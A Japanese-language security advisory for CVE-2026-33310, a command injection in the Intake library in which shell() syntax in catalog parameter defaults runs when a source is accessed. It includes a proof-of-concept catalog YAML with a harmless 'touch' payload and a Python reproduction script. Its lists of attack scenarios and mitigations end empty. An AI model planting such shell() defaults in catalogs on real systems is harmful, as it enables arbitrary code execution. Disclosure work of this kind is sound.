
CVE-2026-33310(パラメータデフォルトにおけるshell()展開によるコマンドインジェクション)
パラメータのデフォルト値内のshell()構文は、カタログ解析プロセス中に自動的に展開されるようです。 カタログにshell()のようなパラメータデフォルトが含まれている場合、カタログソースがアクセスされたときにコマンドが実行される可能性があります。 つまり、ユーザーが悪意のあるカタログYAMLを読み込むと、埋め込まれたコマンドがホストシステム上で実行される可能性があります。 この動作は、CWE-78: OSコマンドインジェクション / 安全でないシェル展開に分類される可能性があります。
この問題は、カタログソースがアクセスされたときにパラメータのデフォルト値がどのように展開されるかに起因しているようです。
カタログの読み込みとソースアクセス中:
Intakeはパラメータのデフォルト値を解決します デフォルトの展開を担当する関数がshell()構文を処理します シェル式がサブプロセスの実行をトリガーします これはカタログ評価中に発生するため、ユーザーがデータセット自体と明示的に操作する前にコマンドが実行される可能性があります。
影響を受けるロジックには次のものが含まれるようです:
expand_defaults()
および関連するパラメータ解析メカニズム。
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "パラメータにおけるシェル展開のテスト"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "テストパラメータ"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] 実行前の証明ファイルの存在: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("ソースにアクセス中...")
_ = cat["rce_test"]
except Exception as e:
print(f" 実行中のエラー: {e}")
if os.path.exists(PROOF_FILE):
print(f" コマンド実行が確認されました。検出: {PROOF_FILE}")
else:
print("コマンド実行は発生しませんでした。")
潜在的な攻撃シナリオは次のとおりです:
この動作が意図的でないことが確認された場合、攻撃者は以下を介して悪意のあるカタログファイルを配布する可能性があります:
考えられる緩和策には次のものが含まれます: